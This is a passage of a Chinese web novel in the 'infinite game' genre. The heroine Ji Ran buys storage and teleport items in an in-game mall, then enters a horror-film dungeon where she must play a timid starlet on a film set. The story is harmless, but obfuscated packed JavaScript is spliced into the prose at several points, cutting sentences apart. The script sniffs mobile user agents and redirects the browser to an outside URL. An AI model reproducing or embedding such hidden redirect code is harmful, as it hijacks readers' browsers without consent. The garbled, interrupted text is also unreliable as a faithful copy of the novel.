为了应对未知,她特意换了一身方便运动的衣服。同时,出于对安全的考虑,她忍着热意穿上了冲锋衣外套——在最近看了不少无限流小说后,倒是有点担心会不会直接被传送到一个冰天雪地的副本中。 「副本将在5分钟后开启,副本名称:《恐怖电影》,请玩家做好准备。」 「C级商城已开启,玩家可自由购入。」 随着视线中突然闪现的两行提示文字,纪然惊讶地发现自己的眼前出现了类似游戏界面的UI。她的目光刚一转向商城区域,一个全新的页面便迅速展开。眼前是一排排整齐排列的道具图标,每当她的视线扫过,相应的图标上方就会立即显现出一个包含详细信息的气泡框。 这一切的体验,真的就像置身于一个精心设计的游戏之中。纪然眨了眨眼,她的目光落在商城页面的顶部,那里清晰地显示着她目前所拥有的积分:500积分。 时间紧迫,纪然知道这个商城只有五分钟的开放时间。她没有犹豫,迅速浏览起道具列表,寻找那些能够提供额外存储空间的“空间”类道具。 她的视线在琳琅满目的道具上快速滑动,随着她的目光所及,一个又一个气泡框接连出现,每个都详细地介绍着道具的功能和特性。纪然以惊人的速度阅读着,她的目光如同扫描仪一般,迅速锁定了几个看起来合适的选项。 「道具栏×1格」 「受到科技世界中游戏的启发,以此衍生出来的虚拟道具栏,只可放置无限游戏产出的道具。」 「使用说明:直接放入道具,使用时取出来。」 「60积分」 这个不错,积分也很便宜,以她现在的500积分,能买十多个道具栏。有了保底选择后,纪然继续看旁边的下一个道具。 「游戏口袋×5格」 「无限游戏精心打造的多功能口袋,拥有5个独立的存储空间。每个格子都具备了扩展能力,同样的物品最高限叠数量×3,可放入各种世界的物品。」 「使用说明:手部触碰到的东西可默念“收入”便可收进游戏口袋。」 「注:不得放入内含存储空间的物品。」 「500积分」 除了贵点以外,这个道具也不错。而剩下的其他储物道具,积分要求都高得令人望而却步,远远超出了纪然目前所能承受的范围。面对商城中那些积分昂贵的道具,纪然不由自主地皱起了眉头。她的内心在两个道具之间摇摆不定。 一个道具虽然价格便宜,但是只能用来装道具;却仅限于装载游戏世界内的道具;而另一个则几乎要耗尽她所有的积分,但它的容量却能扩展到现实世界的物品。前者局限性显而易见,后者虽然代价昂贵,但只要巧妙利用,便能在副本世界中发挥出现实物品的独特优势。 不过,当她继续翻看商城时,一些积分要求不那么高的小道具吸引了她的注意。这些小道具虽然没有储物功能,但它们独特的属性和能力,让她看到了新的可能。 「瞬移按钮」 「一款小巧而神奇的装置,它拥有改变空间规则的力量。只需轻轻一按,就能体验到瞬间移动的奇妙感觉,随机瞬移到方圆百米内的任意位置。」 「使用次数:1/1」 「使用限制:每24小时只能使用一次瞬移按钮」 「20积分」 这个瞬移按钮的传送范围虽然没有纪然见过的传送符那么远,但它无疑是一种保命的神器。虽然它的传送距离有限,但只要不是特别倒霉直接瞬移到了百米内的敌人大本营,或者直接瞬移到敌人手边,基本上都能苟住一条命。 纪然看到这些介绍就意识到,瞬移按钮的真正价值在于它的应急能力,即便使用间隔较长,但在关键时刻,它提供的逃生机会是无价的。而且,它还有一个无法忽视的优点——价格便宜。 在她看来,20积分的价格对于这样一个可能能在绝境中救命的道具来说,简直是物超所值。她可以轻松地购买多个,以备不时之需,还不会影响她继续买点其他的道具。 「尖叫鸡·改造版」 「娜提雅维达教授,一位对异世界物品充满无尽好奇的学者,多年前偶然获得了一只普通的尖叫鸡玩具。她对这种奇怪的玩具充满了好奇,对此深入研究。经过她的改造,这只玩具被赋予了全新的功能,转变成了一个具有攻击性的奇特道具。」 「使用说明:把尖叫鸡塞进目标手里,在受到来自目标者的任何挤压后,尖叫鸡将发出尖锐爆鸣,持续30秒,且无法被丢弃。」 「注:尽管尖叫鸡不是一次性消耗品,但它的报废率惊人地达到了99.9%。」 「80积分」 这个使用说明看得纪然起了兴趣了——攻击性指的是尖叫鸡的尖锐爆鸣?传说中的声波攻击么? 视线往下一瞥,她甚至在商城里看到一卷卫生纸…… 「异常坚固的卫生纸」 「一卷来自异世界的神秘卫生纸,它的出现就是一个谜,甚至不着调发明者为何有如此恶趣味。这是一款可以无限使用的卫生纸,每次断开的任意长度的部分,都无法被外力所破坏,但仅能存在5秒,可以按持有者的想法延长断纸长度。在某些世界里,它作为高端武器而存在;而在有些世界里,它仅是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179137|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷用不完的卫生纸。」 「使用说明:拉断某一位置产生断纸即可生效,断开的卫生纸会立即按照持有者的意志延长且行动,最高延长至50米。」 「使用限制:断纸使用范围不得超越使用者周围10米。同一时间内,至多存在5条断纸。」 「注:只有时间才能导致断纸消失。」 「250积分」 这个积分……一时分不清商城是在表达什么。虽然这个道具看起来仅是一卷可以无限使用的卫生纸,但其中提到的“无法被外力破坏”的特性,让纪然意识到这可能是一个可以巧妙利用的优势。用得好的话,它也可以成为一种独特的手段。 只有500,她得好好规划一下才行。纪然看着看着,突然想起来之前看到的笔记本的介绍中提到了充能的需求,但她并不清楚充能的具体方法。纪然猜想,“充能“”可能与积分或者商城中的某些特殊道具有关。 她在商城里按关键词搜了一下类似于“充能”之类的道具,感觉都不符合要求。 以防万一是直接吃积分的东西,纪然想了想,还是只购买了道具栏。现在她手头拥有的道具有笔记本、初级医疗包、真话卡,和一把不确定能否被归类为道具的普通匕首。 之前从季然身上搜到的道具,最后都还给警方了。毕竟那些也不是她的东西,而且那些道具还涉及到“凶器”范围。 所以在一番权衡之后,纪然花费300积分购买了5格道具栏。剩下的积分,她计划用来购买一些实用的瞬移按钮,顺便留个几十积分研究一下怎么给笔记本充能。 买完后,商城最顶部显示的剩余200积分,纪然先把桌子上摆着的几个道具收进道具栏里。当她发现即使是普通的匕首也能被纳入其中时,心中不禁松了一口气。即使在之后发生背包无法带入副本的情况下,她也算拥有了一种可靠的自保武器。 在纪然手指无意中挨到笔记本时,看到眼前缓缓冒出一个气泡框,简洁地显示着几个字——「是否花费积分进行充能?」 怎么充?她戳了一下显示着「充能」两个字的气泡,下一秒,随着指尖的轻触,气泡在眼前炸裂,化为一缕浅薄的烟雾笼罩了笔记本。 纪然的目标转向商城页面,看到自己的积分余额正在以肉眼可见的速度迅速减少,数字跳动的速度简直让人难以捕捉。还不到一个呼吸间,积分已经全部消耗完毕,余额归零。 “……” 这一切发生得太快,让纪然几乎来不及反应。 失策了,原来这笔记本是个不折不扣的"吞金兽"。 纪然轻叹一声,意识到自己对笔记本充能所需的积分估计不足。她原本计划用积分购买更多道具的计划,现在看来已经无法实现了。其他诱人的道具,看来只能暂时与她无缘了。 尽管心中有些遗憾,纪然还是迅速调整了心态。将表面烟雾散去的笔记本放入新购买的道具栏中,在进入副本倒计时的最后十几秒里,确保一切准备都就绪。 在逐渐减小的数字里,纪然的心跳随之加速。最初的兴奋和好奇逐渐褪去,取而代之的是对即将到来的冒险的紧张和期待。 新的副本,要开始了。 53. 拍戏? 「正在进入副本……」 眼前顿时陷入一片虚无,五感被剥夺,意识有片刻空白,等到眼前出现亮光时,纪然发现自己已经站在一个人来人往的街上。 抬眼望去,各种风格的建筑错落在四周。从宫殿庙宇到城市街道和商业大楼,从红瓦高墙到黑暗古堡,从树林草坪到湖水泛波等。好像她不是进入副本,而是穿越了时空隧道,穿梭于古今中外的各个时代与地域中。 奇特的景象仿佛具有魔力,牵引着纪然的双腿,让她不由自主地向前走去。她不知道自己在哪,也不知道要去哪,但这梦幻与现实交织的地方完全吸引了她的注意力。在这不同风格的景色带来的视觉冲击力里,纪然有那么几秒忘了自己的目的是什么。 除了街道和建筑,纪然还能透过一些玻璃窗看到精心模拟的自然景观和室内景观。这些景观栩栩如生,从郁郁葱葱的森林到波光粼粼的湖泊。周边的指路牌上,用醒目的字体标注着“餐饮区”、“住宿区”等字样,显然,这是一个为剧组与游客提供全方位体验的影视城。 确定自己所在的地方后,纪然背向人群,从口袋里摸出身份卡看了一眼背面的任务。这张卡她试验过了,不管放在哪个位置,只要过了十秒钟,都会自己突然回到她身上,所以没有用它占用一格道具栏。 「主线剧情已激活」 「主线任务:活着拍完一场恐怖电影」 「支线任务:暂无」 「注意事项:要求扮演好角色」 右下角的倒计时是7天。 七天能拍完一部电影?纪然有些不明所以。她没有演戏经验,对电影的拍摄过程知之甚少,但一部电影怎么也不可能一周就拍完吧?再怎么没有常识的人也会知道,一部电影的制作应该是一个复杂而漫长的过程,需要精心策划和无数细节的打磨。 “诶,你怎么还在这?” 一道突兀的声音突然打破了纪然的沉思,她感到肩膀上轻轻一拍,这突如其来的接触让她的心跳猛地加速。 纪然眼神一凛,迅速转过身,同时本能地退后一步,保持安全距离。她的视线落在一个穿着休闲装的男人身上,他眉头紧锁,手里拿着一叠剧本,脸上写满了不耐烦。 “我?”纪然微微一愣,她的声音带着一丝不确定,观察到对方并没有攻击的意图,心中的警惕慢慢放松,“你是在……说我?”她指了指自己,语气中带着一丝迟疑。 “不是你还有谁?快点,马上就开拍了,还在这愣着干嘛,别惹导演生气。”这个人催促着,瞥了纪然一眼示意她跟上后,头也不回地往一个方向走。 纪然的脑海里闪过许多疑问,但她知道现在不是提问的时候。为了获取更多的信息,她决定保持沉默,只是默默地跟在男人身后。他们穿过熙熙攘攘的街道,绕过几个转角,最终来到了一家外观华丽的宾馆门口。 那人如同幽灵一般,在人群中穿梭后便消失得无影无踪。纪然站在宾馆门口,目光在不时进出的人群中游移,试图寻找那个熟悉的身影。 突然,边上窜出来一个表情慌乱的女人,声音中带着焦急:“你去哪了?我找了一圈都没有找到你,现在电影马上就要开拍了。” 又是一个认识自己的人? 纪然微微一怔,她垂下眼帘,心中暗自思忖。这个女人似乎与她颇为熟稔,但她的记忆中并没有这样一个人。纪然决定试探性地回应,以了解更多信息:“这地方大,刚才有些找不到路。你找我很久了吗?” 年轻女人在找到纪然后,脸上的紧张神色终于松懈下来,她长舒了一口气,但随即又皱起了眉头,带着一丝抱怨说道:“这倒没啥,就是刚给你办了入住手续,一转身就找不到你人。主要是这个时间太赶了,十点钟开拍,八点才通知我们试镜成功,我们这赶过来都九点了。还要换衣服,要做妆造,甚至还得背剧本。” 说到这里,她眼神复杂起来:“不是我说你,为什么非要来这么一个无名的剧组。就算报酬给得多又怎么样,你需要的是提高知名度,而不是演一些烂戏,再这样下去,你剩下的那么点粉丝都要掉光了,到时候更没有剧组肯收你。” 提高知名度?粉丝少? “自己”的身份是演艺圈的小明星? “你带着我也有一段时间了吧,现在好的剧本都很难接,这个剧组钱给的多,也不算很差吧。”纪然猜测这个人是“自己”的经纪人之类的存在,打着哈哈却不动声色地把话题往她和剧组上引。 果不其然,经纪人抿了抿嘴,无奈地叹了口气:“给钱确实大方,但没有知名度啊。现在的人都喜欢看爱情电影,哪还有人会看恐怖片啊。更何这个剧组的行为也太不符合常理了,哪有当天通知直接开拍的,除了前段时间试镜时给的小片段外,剧本都不发过来。” 这话让纪然心中泛起疑惑,会有剧组在当天通知试镜成功,紧接着当天就要开拍了但是剧本却不发过来? 她伸出食指戳了一下纪然的额头,在纪然错愕又迷茫的眼神中,恨铁不成钢地说:“你就是性子太软弱,有好的角色也是会被别人抢走的命。早个十年你这人设还能赶上大众审美吃吃香,现在这个路线别人没骂你白莲花就不错了。两年前签你时就说让你换个人设先营业营业,结果除了本色出演的小白花外,你还真是干啥啥不行,吃饭第一名。空有演技但管不住嘴,一上镜就胖十斤,你说哪个剧组肯要你?” 纪然:“……” 谢谢,明明不是本人,但是有被骂到。 不过从最近开始健身后,她每天热量消耗得多,吃得也多,虽然体重有所上升,但这并不是令人担忧的数字,因为增加的主要是肌肉质量而非脂肪。 体型上,纪然并没有变得臃肿,反而因为肌肉的紧致和线条的流畅,显得更加健康和有活力。皮肤也因为汗水的冲洗和血液循环的改善而变得更加光滑和紧致。 怎么看也不像跟“胖”字搭边,不过她看电视里的明星们,为了上镜,各个确实都瘦到让人感到心惊的地步。对比那些明星,她这个身材确实有些“胖”了。 纪然猜测这个副本就是骆星口中所谓的虚拟世界。她从没来过这里,这个经纪人却说已经认识她两年,很明显,这是副本给的背景设定。 从经纪人说的话里可以分析 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏怡一时无法可说,确实,如果能接到其他更有名气的剧本,然不会选择这个没名气又冷门的恐怖片剧组。她的沉默中带着一丝自责,仿佛在责怪自己没有为纪然争取到更好的机会。 就在这时,苏怡的目光落在了纪然身上的衣服上,她的眉毛狠狠一皱:“怎么还没换衣服?算了,来不及了,你先进去把衣服换了,等下我给你再补个妆。” 苏怡没有给纪然任何犹豫的机会,她迅速拉着纪然的手,几乎是半拖半拽地往宾馆里冲。 为了这次拍摄,剧组已经包下了影视城里的这一大块地方,连同里面的宾馆也一并包下。虽然苏怡对这位导演和编剧并不熟悉,甚至连投资商的名字都未曾听闻,但她不得不承认,这个剧组的确有着不凡的财力。 穿过熙熙攘攘的大厅,直接进入了一楼的一间宽敞房间。这里显然是一个临时的公共化妆间,镜子前站满了忙碌的化妆师和发型师,他们正为演员们精心打造着造型。 苏怡迅速从一堆衣物中挑选了几件递给纪然,然后指向不远处的一扇门,火急火燎地说:“你去那个小房间里换衣服,我去问问剧本的事。” 感受到了经纪人的紧迫感,纪然知道时间不多,什么也没说,接过衣服就往那扇门冲去。 “等等,里面有人——” 身后传来了一声喊叫,但当纪然听到时,她已经握住了门把手,打开了门。 54. 谨记人设 里面是个不足十平米的小房间,纪然一推开门,眼睛就看到一个露出精壮上身的男人在换衣服。衣服刚从头部穿过,抬起的手臂上肌肉鼓起,牵扯动的块状腹肌如雕塑般分明,线条流畅有力,随着呼吸和动作而微微起伏。 阳光透过狭窄的窗户,斜射而入,洒在男人的身上,形成明暗交错的光影,赋予了那几块状腹肌更加立体的质感。纪然的目光不自觉地从男人的锁骨滑落,最终定格在那起伏的腹部上,她愣住了,眼神中流露出一丝惊艳和赞叹。 几乎是本能的反应,纪然迅速关上了门,动作之快,仿佛只是一瞬间的光影交错。 楚昭在刚套上上衣时,捕捉到了门开合的声音,却没有听到离去的脚步。他迅速拉下衣服,将那线条优美的肌肉完全遮掩。偏过头,他的眼神如同锋利的刀刃,锐利而警惕。只见这个来人从关上门后就目不转睛地盯着他的胸腹处看。 楚昭:“……” 楚昭眉头微蹙,怎么这人还没出去? 这还是纪然有记忆以来第一次这么近距离直白地看见异性露出来的肌肉,她略带可惜地收回目光。当对面投来一道冷冽的目光时,纪然心头一跳,尴尬地挤出一丝微笑。 回想了一下小白花遇到这种场景该做出的反应,纪然后知后觉地捂住眼睛转过身,夹着嗓子惊呼:“完了,要长针眼了。” 楚昭:? 他忍不住看向一旁的镜子,里面照映出来的男人身形颀长而挺拔,肌肉线条在简单的白色T恤下若隐若现,透露着一种含蓄的力量感。裤子也是穿得好好的,怎么看也不像是要到长针眼的地步吧? 见突然闯进来的人迟迟不出去,楚昭什么也没说,趁着来人是背对着自己,动作麻利且从容。随手抓起外套,他抿着嘴,然后果断地直接打开门大步流星走出去了。 见这个人从自己身旁面无表情地过去,纪然瞥了眼他的背影,没把这事放在心上。当她准备反锁房门时,却发现门锁是坏的。这解释了为什么刚才门会那么轻易地被推开。纪然无奈地笑了笑,她只好用身体抵住门,才开始换衣服。 等纪然纪然整理好自己的衣物,走出那个狭小的房间,发现化妆间里多了不少人,有几个比较引人注目的—— “你们把我带到这里做什么?我很忙,没空陪你们闹,奉劝你们赶紧把我送回去,等下十点钟我还有个会议要开。不然我要报警了。” 一个穿着普通休闲服的青年面露愠色,眼中闪烁着不耐烦的光芒,时不时抬起手腕看向手表,对着几个像是工作人员的人大声说道。他的话语中透露出一种不容置疑的权威,显然他是个习惯了掌控局面的人。 另一边角落里斩着个女孩子,她的年纪看起来并不大,穿着简单的T恤和牛仔裤。她抱着双臂,满脸恐慌地打量着化妆间,嘴里念叨着:“我不想参加这个游戏,放我回去,我要回去……” 女孩旁边还有个神情不安的中年女人,她的眉头紧锁,眼神不断在四周游移,似乎在寻找着什么。她的动作显得有些急促,不时地拉住过往的人,似乎在询问着什么重要的问题。 在看过去时,纪然跟她的视线对上。很快,她就穿过人群来到纪然边上,声音带着颤抖地问:“小姑娘,你能告诉我这是怎么回事吗?我刚才还在公交车上,突然感觉头晕目眩,闭上眼再睁开,就发现自己在这个地方了。” 她抓住纪然的手,目光在纪然脸上打量,似乎在寻找着答案:“我看你们都不像坏人,但这一切太不真实了,难道是我出现了幻觉吗?” 新人玩家么?这一场多人副本?不知道他们这种行为会不会属于违反角色。 纪然谨记人设,如果以这个世界的角色来说,他们可能不知道无限游戏的事,那么这种事情就不能直接说,否则会触发角色OOC。 于是纪然摇了摇头,挂起柔和又无奈的笑:“阿姨,您这是在说什么啊?您先别着急,等下就要拍戏了,您可以整理下衣服摸摸口袋,到时候听导演和工作人员的指挥就好了。” 对这个阿姨能吐露出来的,她只能言尽于此了。余光捕捉到了几个熟悉的身影。她微微侧头,居然是第一小队的五人。他们怎么会在这里?她眼中闪过惊讶,又被她飞快掩饰起来。 正当纪然准备向那位阿姨告别,去寻找第一小队的五人时,经纪人苏怡急匆匆地赶到了。苏怡的动作非常果断,一把将纪然拉到了自己身后,仿佛在保护她免受未知的风险。 苏怡直视着这个中年女人:“您有什么问题可以等下问您自己的经纪人,她正在导演那边要剧本。我们家小然什么都不懂,我们就先走了。” 说完,苏怡直接拉着纪然走开,直到来到一个化妆台前。她把纪然按椅子上坐着,拿起一份剧本塞到纪然手上:“剧本我拿来了,趁着现在快看吧。你说你啊,真是不长记性,看到那个女人靠近,你就走远点呀。上次你还被她泼了一杯果汁,结果她还要你给她道歉,说是你撞的。气死我了,你什么时候能硬气点啊?” 苏怡敲了敲纪然的脑袋,继续说:“明明是戏剧学院优秀毕业生,怎么混得这么差。要不是担心我走了你会被吃得骨头都不剩,我真要辞职跑路了,这破圈子真难待。你就不能把这个世界也当做一场戏吗,说一千道一万次,你还是这么蠢。” 纪然:“……” 别骂了别骂了,孩子知道错了。 轻轻揉了揉被敲的脑门,那里似乎还残留着经纪人的力道。纪然知道,那些听起来很像在骂她的话语,实际上是出于对“她”深深的关心。语气虽然凶,但每一个字都透露出对“她”的关切,字里行间都带着恨铁不成钢的意味。 作为“她”本人,纪然并没有觉得这些话难以接受。相反,她能够从旁观者的角度,更加清晰地感受到话语背后那股深沉的关怀,一种希望“她”能够成长起来的期望。 “我知道了,你不要生气了。”纪然不知道在角色里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“五天?”纪然听到关键词,眉心微皱。上个任务的倒计时是三天,而且直到最后一天才完成了任务。这个副本有七天,但电影拍摄计划只有五天,那么剩下的两天是用来休息的吗?纪然心中充满了怀疑,她不相信无限游戏会如此慷慨地留给玩家这么长的无用时间。 “对,就拍五天,说是他们引进了最新的拍摄设备,不同于传统的拍摄方式。不再需要像以前那样,为了一个动作反复补拍镜头。只要演员们能够一条过,基本上整个场景就能一次性拍摄完成。之后的工作就交给剪辑师。”苏怡也感觉匪夷所思,长这么大也是第一次听到这种说法。 “不过,这意味着你们将按照剧情的自然流程来演绎,不再像以往那样将一个场景内的所有戏份拆分开来单独拍摄。所以这很有难度,不会给你们留有太多休息时间,只要到戏份了,就得一直拍完全程。”苏怡补充道,当时导演在边上还说了一句话,让她感觉挺有道理的。 「这样的拍摄方式,能够保持剧情的连贯性,让演员的表演更加自然流畅。顺着剧情推进,我们可以捕捉到角色情感的细微变化,同时也减少了因反复拍摄同一场景而可能产生的疲劳感。」 在先进的技术支撑和独特的拍摄方式面前,苏怡逐渐改变了她对剧组的看法。她觉得,只要“纪然”在这种氛围下拍完这部戏,肯定能有所成长,所以后来没再说过剧组的不是了。 纪然听到这些,眸光微闪,若有思索。她继续翻看手里的剧本,内容不算很多,但这题材确实很新颖,看起来挺有意思的。 55. 剧本 这个剧本描绘了一出双线交织的故事。它讲述了一群新人演员在拍摄一部悬疑电影时,意外卷入了一连串超自然现象。 一开始,演员们并未察觉到异常,甚至误以为是剧组为了增加戏剧效果而特意安排的情节和道具。但随着一系列不寻常的现象不断出现,演员们逐渐意识到事情并不简单。 作为一群新人演员,面对种种异象,出于对名声和成功的渴望,他们选择性地忽视了这些异常现象,想要坚持完成拍摄。然而,所有人的命运在第一天夜晚的拍摄中开始转折。 在表演一场被杀害的戏时,一名演员扮演受害者,按照剧本倒地。剧组人员一开始还对他的表演赞不绝口,认为作为新人的他,表演被杀时的反应和表情逼真至极。当摄像机镜头移开,他们上前想要扶起这位“尸体”时,却惊恐地发现,这名演员已经不再是表演,而是真正地停止了呼吸。 第一天的剧本剧情就讲到这,纪然对此进行了精炼的总结。剧本巧妙地构建了一个双重叙事结构,即所谓的“剧中剧”。第一层故事是剧中剧的核心,讲述了一群人来到一个小镇旅游,偶然间发现了一具尸体,从而拉开了传统悬疑剧情的序幕。 第二层故事则围绕着一群演员展开,他们被选中去拍摄这场悬疑剧。在拍摄过程中,剧本融入了超自然元素,使得原本的“假死”变成了“真死”。 纪然所要扮演的角色台词不算多,看戏份应该只是个普通女配。这有一点好处,就是当没到她戏份时,在镜头之外她可以趁机看看剧本记台词。 等化好妆,苏怡搂过纪然的肩膀,拿起手机捕捉了两人的合照,又单独拍了几张纪然的几张特写。然后一边熟练地调滤镜参数,一边说:“这么漂亮的脸蛋不发网上营业营业太太浪费了。好了,那边快开拍了,你先过去准备吧。” 纪然好歹也在之前的世界里待了那么久,对于明星在社交媒体上分享生活点滴以吸引粉丝和提升人气的做法并不陌生。她理解这是娱乐圈的一部分,也是与粉丝互动的一种方式。因此,对于苏怡的话,她知道“自己”的社交账号大概是经纪人在管,并没有多说什么,只是轻轻地点了点头。 在轻声向苏怡打了个招呼之后,纪然默默打量了圈化妆间,就偷偷溜走去找第一小队的五人。 在这个化妆间里,大多数都是演员,他们或多或少都在行业内有所耳闻或相互认识。在这样的“同行”聚集之地,纪然猜测,只要不违背自己角色的设定,与他们交流几句应该是合情合理的。何况,以宋队长他们的观察力,很可能在她刚一走出换装间时就已经注意到了她的存在。 在距离大约七八米的地方,中间隔了十多个人,纪然穿过人群,目标明确地向叶柯的方向走去。在经过叶柯时,她装作不经意间扭头看了一眼,叶柯身边的化妆师正在专注地为叶柯涂抹着口红。 叶柯注意到了旁边人经过时看过来的目光,一抬眼,发现是纪然,她们真的进了同一个副本。叶柯眨了眨眼睛,瞥了一眼大门的方向。纪然立刻心领神会,微微点头,然后从容地走出了化妆间。 出来后走进宾馆大厅,纪然的目光不经意间捕捉到了一个眼熟的背影,那是刚才在换衣间里看到的男人。他正站在大厅角落的摄影机前,时不时摆弄镜头的样子,像在调试设备。 纪然只是匆匆一瞥,便收回了视线。 大厅内空间并不宽敞,大多数人工作人员要么在房间里忙碌,要么在室外准备。透过玻璃门,她注意到门外的空地上不知道什么时候停了一辆大巴车,几个工作人员正在往车上搬道具和设备。 按照剧本的安排,不久后他们将乘坐这辆大巴,模拟进入小镇的场景。虽然还不清楚导演会怎么拍,但这种涉及专业性的东西,她一个普通人也不了解。对这个副本,纪然心中难免生起几分疑惑:让一群没有演戏经验的玩家来拍戏,这演出来的场面真的能过吗? 还是说拍戏时会有什么针对玩家的危险,毕竟任务是要求玩家活着拍完电影,但这个“活着”二字就有些耐人寻味了。照这样分析,难道危险只是单纯的角色扮演?比如说没有演好角色导致OOC,会直接被游戏抹杀或者触发NPC的杀人规则。 上一个副本的危险性其实并不高,纪然回想起来,如果当时季然没有设计陷害她,主线任务的难点仅在于要在倒计时结束前找到目标人物。不过若是没有警方的协助,对于新人玩家来说,想要在三天内从广阔的世界和茫茫人海中找到一位素不相识的人,除非运气极佳,否则这几乎是不可能完成的任务。 也就是说,上一个副本的主要危险是时间压力,那么这个副本潜在的危险又是什么呢? 信息还是太少,纪然也思考不出什么,索性找路过的工作人员借来一支笔,对着手里的剧本写写画画。没等多久,叶柯从化妆间里出来,使了个眼神后径直走向门外。 纪然跟了过去,避开人群,两人缩在外面一个高大的盆栽后面,借着盆栽的掩护下低声交谈,纪然保持着自己角色的设定——一个天真无邪的小白花。 由于不确定自己在剧本中的人设是否与叶柯相识,纪然在说话时表现得十分谨慎。叶柯似乎也意识到了任务的要求,她的眼神和态度与之前相比有了明显的变化,显得更加冷淡和疏远。 “叶柯姐,你看剧本了吗?”纪然绞着自己的手指轻声问道,这种动作和语气是在暗示自己的角色定位,以叶柯对人脸部表情和肢体动作的观察入微的本事来说,肯定能察觉到她的人设。 叶柯的目光落在纪然手指上,听到纪然的问题后,她眼中迅速掠过一丝难以察觉的笑意。这抹笑意稍纵即逝,随即她调整了声线,用一种刻意绷紧的语调回答说:“看了,我们都只有第一天的剧本。从来到这里开始,我们就得好好演戏,争取在规定时间内拍完电影。” 纪然抿唇笑了笑,叶柯的言辞直率,初听似乎在讨论角色之间的故事,但细听之下,其实正是在讲述她们自己的故事。不过这么来看,大家的任务应该都是一致的。以叶柯现在表现出来的神态来看,她应该是走冷淡风人设。 其实纪然手上的剧本还有一个问题,那就是上面没有列出演员名单。除了自己即将扮演的角色外,纪然并不清楚其他人将扮演哪些角色。她把的剧本递给叶柯,用撒娇般的语气说:“这个剧本里有点地方我不太懂,能麻烦你帮我看一下吗?” 叶柯努力抑制着笑意,接过剧本。翻开一看,剧本上被纪然画了很多标记,特别是其中一个角色的动作和反应部分,都被重点圈出来了。 “你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179140|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮演的是云初夏?”叶柯注意到被圈出来的一些关键词,比如“清纯柔弱胆小”,还有“小白花绿茶恋爱脑”。看着这些描述,叶柯越发想笑。 纪然慎重地点点头,一副乖巧的模样:“这个角色对我来说,几乎是本色出演。” 本色出演,说明剧本里的角色跟纪然现在要保持的人设几乎一致。叶柯了然,微微点头。 想了想,纪然又补充了一句:“除了绿茶恋爱脑的部分吧,可能。” 说小白花绿茶都没啥,但是说恋爱脑这就过分了啊。尤其是看经纪人的态度,“她”应该没有男朋友。而且作为一名公众人物,即便是小糊糊,也不可能在事业的开始阶段就谈恋爱。 随后两人又借着剧本的掩护,通过一些具有暗示性的对话进行交流。这些看似平常,实则暗藏玄机的对话,不断传递着两人间的情报。 纪然也知道了他们是怎么被拉进游戏的,谁能料想到,拆一个快递包裹竟然能拆出一张游戏邀请函呢? 第一小队他们有独特的交流方式,纪然只在之前跟队时学了一点手势语言和常用标记,还远远达不到能隔空交流的地步。 从叶柯这里得到他们五人各自扮演的角色后,她瞥见不远处的大巴车周围已经聚集了许多人,化妆间里的人也陆续走了出来。她意识到,拍摄即将开始。 两人一前一后走过去,在听见周围其他人对其中一个约莫四十多岁的男人频频点头致意,并称呼他为“程导”时,纪然着重点看了看这个所谓的剧组灵魂人物。 程导的外表给人的第一印象就是显得很专业,尽管他只是穿着一件简单的T恤,头发却梳理得一丝不苟,眉目间流露出来的却满是自信。感觉是一个对细节很重视、对工作态度严谨的人。 随着现场人员的逐渐安静,程松云导演清了清嗓子,开始了他鼓舞人心的讲话:“大家好,我是程松云,这部电影的导演。从昨天开机仪式到现在,我想你们已经对剧组和我们的拍摄场地有初步的了解。” 他停顿了下,环顾众人,继续说:“我知道,在座的各位可能都是一些尚未大红大紫的演员,由于种种原因,你们还没有获得能让观众记得住的角色。但是——” 说到这里,程导眼神变得犀利起来:“在我这里,机会是平等的。只要你们付出努力,每个人都有可能成为主角。” 纪然心起疑惑,她手中的剧本戏份主要聚焦在她将要扮演的角色上,而对于她角色之外的情节,剧本里并没有提供更多的细节。这让她不禁皱起了眉头,因为在她的认知中,一部电影通常都会有一个或几个核心的主角,他们的故事线贯穿整部影片。 然而,程导的话却提出了一个不同寻常的观点——主角并非事先固定,而是通过演员们在拍摄过程中的表现来决定的。这种理念虽然新颖,却也带来了问题。如果一个角色在第一天的剧情中就“死去”,那么这个角色的演员又如何有机会在后续的剧情中展现自己的演技,来竞争主角的位置呢? “在看剧本的时候,你们可能已经注意到了,我们的剧本对每个角色的戏份都安排得相对均衡。这里没有小角色,只有小演员。只要你表现得足够出色,你就有机会成为这部电影中的主角。”程导一脸淡定地说着令纪然匪夷所思的话。 56. 座位选择 明明之前在看剧本时,有一个角色在剧情的第一天晚上就死去了,怎么就成了导演口中的“每个人的戏份都是均衡的”? 程导并没有解释这一点,而是转而强调了拍摄的注意事项:“时间紧迫,我们只有五天的拍摄期,任务非常繁重。因此,我希望每个人都能积极配合一下,合理安排自己的时间,提高拍戏效率,确保我们能够按计划完成当天的拍摄任务。” 